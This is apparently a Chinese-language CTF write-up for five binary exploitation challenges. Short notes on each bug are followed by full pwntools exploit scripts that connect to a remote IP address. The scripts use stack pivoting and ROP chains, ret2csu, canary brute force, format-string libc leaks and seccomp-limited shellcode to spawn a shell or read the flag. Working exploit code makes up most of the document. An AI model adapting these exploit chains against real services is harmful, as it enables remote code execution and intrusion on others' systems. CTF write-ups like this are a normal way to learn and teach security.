这PWN题似乎是给我出的,4个一血1个2血。密码又过于简单。逆向太难了又不大会。
Stack fengshui
main可以溢出覆盖rbp+ret所以它每一步都需要移栈。
可用的ROP里没有pop rdi,在4004c0里有错位的01 5d c3 :add DWORD PTR [rbp-0x3d], ebx
并且有对应的ppp6和mov call可能打ret2csu
可以改的是一个被修改过的read,因为每次只能改4字节,所以需要改两次。
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
add_dword_rbp_0x3d_ebx_ret = 0x4004d8 #01 5d c3 :add DWORD PTR [rbp-0x3d], ebx
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006ca
mov_call = 0x4006a6 #xor ebx,ebx;... call [r12+rbx*8]
pop_rbp = 0x40063e
leave_ret = 0x400669
ret = 0x4006d4
bss = 0x601800
def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):
return flat([
pop_rbx_rbp_r12_r13_r14_r15_ret,
0, 1, addr, rdi, rdx, 0, mov_call,
0, 0, rbp, 0, 0, 0, 0,
])
def add(off, addr=bss):
return flat([
pop_rbx_rbp_r12_r13_r14_r15_ret,
off, addr + 0x3d, 0, 0, 0, 0,
add_dword_rbp_0x3d_ebx_ret,
])
p = remote('27.25.151.29', 32968)
p.send(b'A'*0xa0+flat(bss, 0x40064b))
p.send(flat([
add((libc.sym['system']-libc.sym['read']-0xffff000000000000)&0xffffffff,0x606e40),
pop_rbp, 0x601900, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0-8, leave_ret))
p.send(flat([
add(((libc.sym['system']-libc.sym['read']-0xffff000000000000)>>32)+1,0x606e44),
pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss+0x100-0xa0-8, leave_ret))
p.send(flat([b'/bin/sh\0', ret,
ret2csu(rdi=bss-0xa0, addr=0x606e40),
pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0, leave_ret))
p.interactive()
signin
应该是这里边里简单的一个题。有3个菜单,
1是格式化字符串只可以输入4字节,所以可以泄露1-9的值,这里边只有3有价值是个libc地址(格式化串里6开始在栈里,1-5分别泄露rsi,rdx,rcx,r8,r9)
2可以覆盖到canary当输入长度为0x19里可以输出canary的值
3是个溢出,同样溢出很小需要移栈。
先用1,2得到canary和libc然后system
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = remote('27.25.151.29', 33576)
p.sendlineafter(b"Your choice: ", b'2')
p.sendafter(b"Note: ", b'A'*0x19)
p.recvuntil(b'A'*0x19)
canary = b'\0'+p.recv(7)
stack = u64(p.recv(6)+b'\0\0') - 0x20
print(f"{canary.hex() = } {stack = :x}")
p.sendlineafter(b"\nAgain?\n", b'-559038737')
p.sendafter(b"Note: ", b'A'*0x18+b'\0')
p.sendlineafter(b"Your choice: ", b'1')
p.sendafter(b"Note: ", b'%3$p')
p.recvuntil(b"Note: ")
libc.address = int(p.recvuntil(b'1.', drop=True),16) - 0x114887
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x00000000001bbea1 # pop rdi ; ret
leave_ret = libc.address + 0x000000000004da83 # leave ; ret
p.sendlineafter(b"Your choice: ", b'3')
p.sendafter(b"Note: ", flat(pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],canary, stack-0x28, leave_ret))
p.interactive()
SigninVM
程序用随机数生成4个块分别用于寄存器,栈,指令,并且指令会被设置成r-x,这里有一个RWX的没改,可以通过同步时间预测出地址。随机数使用3个字节,爆破量不大。
虚拟机命令格式:cmd,?,reg_idx1-3,add,value
虚拟机有几个命令,这里P(读入到寄存器),W(把寄存器值写入地址)把数据写入到可写可执行区再用V跳过去执行
shellcode由于限制只能用openat,read,write倒是也够了。
from pwn import *
from ctypes import *
context(arch='amd64', log_level='debug')
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
#p = process('./pwn2')
#gdb.attach(p, "b*0x5555555556b3\nc")
p = remote('27.25.151.29', 33207)
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
rsp = int(p.recv(10),16)
p.recvuntil(b': 0x')
rip = int(p.recv(10),16)
p.recvuntil(b': 0x')
bss = int(p.recv(10),16)
print(f"{rsp = :x} {rip = :x} {bss = :x}")
def getv():
v2 = clibc.rand() % 1131796
v0 = clibc.rand()
return ((v2 + (v2 ^ v0) + clibc.rand()) >> 4) << 12
for i in range(0x1000000):
clibc.srand(i)
if rip == getv():
print('bss =',hex(getv()))
print('rsp =',hex(getv()))
cmd = getv()
print('cmd =', hex(cmd))
break
shellcode = f'''
push 0x{(cmd>>12):x}; pop rsi;shl rsi,12;
push 0;pop rax;
push rax;pop rdi;
push 0x70;pop rdx;
syscall
'''
shellcode = f'''
xchg r8,rsi;
push rcx;pop rax;
push rax;pop rdi;
syscall
'''
#shellcode = asm(shellcode).ljust(24, b'\x90')
shellcode = shellcraft.openat(0,'/flag')+shellcraft.read(0, cmd+0x200,0x50) + shellcraft.write(1,cmd+0x200,0x50)
shellcode = asm(shellcode)
print(shellcode, len(shellcode))
#write payload to cmd
pay = b''
for i in range(0, len(shellcode), 8):
pay+= b'P'+bytes([0,0,0,0]) + flat(0, shellcode[i:i+8])
pay+= b'W'+bytes([0,0,0,0]) + flat(cmd+i, 0)
pay+= b'P'+bytes([0,0,0,0]) + flat(0, cmd)
pay+= b'V'+bytes([0,0,0,0]) + flat(0, 0)
p.sendafter(b'Please provide your VM instructions:\n', pay)
#openat,read,write
p.interactive()
'''
0x0000007621ded000 0x0000007621dee000 0x0000000000000000 rw- rsp
0x0000007e17a5d000 0x0000007e17a5e000 0x0000000000000000 rw- bss
0x000000a339fef000 0x000000a339ff0000 0x0000000000000000 rwx <---
0x000000cfe16e4000 0x000000cfe16e5000 0x0000000000000000 r-- rip
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000000 if (A == read) goto 0012
0006: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0012
0007: 0x15 0x04 0x00 0x00000008 if (A == lseek) goto 0012
0008: 0x15 0x03 0x00 0x0000000a if (A == mprotect) goto 0012
0009: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0012
0010: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0012
0011: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
'''
T1d's computer v2.0
这个题在输入payload里会有长度检查。先把输入的东西用base64解码,但解码时会减去全=的块数,这样把ROP编码后加足够的=就能绕过长度检查。
出题人看来习惯于短溢出了,每次都得弄第2次。
from pwn import *
from ctypes import *
from time import time
from base64 import b64encode
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
mov_rdi_rbp = 0x401602
pop_rbp = 0x401607
ret = 0x401608
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
clibc.srand(int(time()))
x = clibc.rand()%256
p = remote('27.25.151.29', 33311)
p.sendlineafter(b"Please enter your username: ", b'A')
print(f"{x = :x}")
pay = b'\0'*0x48 + flat(elf.got['puts'], mov_rdi_rbp, elf.plt['puts'], ret, elf.sym['login'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l
p.sendlineafter(b"Please enter your password: ", pay.encode())
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")
#####2############
p.sendlineafter(b"Please enter your username: ", b'A')
print(f"{x = :x}")
pay = b'\0'*0x48 + flat(next(libc.search(b'/bin/sh\0')), mov_rdi_rbp, libc.sym['system'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l
p.sendlineafter(b"Please enter your password: ", pay.encode())
p.interactive()
T1d's computer v3.0
题目有4个菜单
1:login有溢出,但有栈保护需要先得到canary
2:fmt 会得到 elf.address^canary 得到canary后可以算出加载地址
3:uaf 好像没啥用
4:canary 输入密码正确后会给出canary。密码是通过/dev/random取得并且不为0,这里的漏洞在于当输入满16字节时会带所后边的i,通过i判断是否是否爆破成功。这里不通输入\n所以需要从密码中过滤掉。密码带\n的概率不大。
from pwn import *
import time
context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')
libc = ELF('./libc.so.6')
def login(msg=b"root\0"):
p.sendlineafter(b"Choose an option: ", b'1')
p.sendlineafter(b"Please enter your username: ", b"T1d\0")
if len(msg)< 0x68:
p.sendlineafter(b"Please enter your password: ", msg)
else:
p.sendafter(b"Please enter your password: ", msg)
def fmt():
p.sendlineafter(b"Choose an option: ", b'2')
p.recvuntil(b"A gift for you: 0x")
v = int(p.recvline(),16)
print(hex(v))
return v
def getcanary(c):
p.sendlineafter(b"Choose an option: ", b'4')
p.sendlineafter(b"Please input the number you guess: ", c)
msg = p.recvline()
return msg
def logout():
p.sendlineafter(b"Choose an option: ", b'5')
def uaf(msg):
p.sendlineafter(b"Choose an option: ", b'3')
p.sendlineafter(b"Choice: ", b'1')
p.sendafter(b"Enter your note: ", msg)
p.sendlineafter(b"Choice: ", b'3')
def get2():
code = [255]*8
for i in range(7):
for k in range(1,256):
if k==10: continue
code[i]=k
p.sendlineafter(b"Choose an option: ", b'4')
p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)
msg = p.recvline()
if msg[-2:] == bytes([i+1])+b'\n':
break
for k in range(1,256):
if k==10: continue
code[7]=k
p.sendlineafter(b"Choose an option: ", b'4')
p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)
msg = p.recv(10)
if b"I'll" in msg:
p.recvuntil(b'0x')
canary = int(p.recvline(),16)
return canary
return False
p = remote('27.25.151.29', 33804)
login()
#当输入满16位时会带出i,通过i判断是否爆破成功
canary = get2()
print(f"{canary = :x}")
elf.address = (canary ^ fmt()) - 0x4060
context.log_level = 'debug'
print(f"{canary = :x} {elf.address = :x}")
mov_rdi = elf.address + 0x1d51 #mov rax,desc;mov rdi,rax;mov rdi,[rdi];ret
uaf(p64(elf.got['puts']))
bss = elf.address+ 0x4800
logout()
login(b'\0'*0x40 + flat(canary, bss, mov_rdi, elf.plt['puts'], elf.address + 0x1ab5))
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
leave_ret = elf.address + 0x1b47
p.sendline(flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],p64(0)*4,canary, bss-0x50 , leave_ret))
sleep(0.5)
p.sendline(b'cat flag')
p.interactive()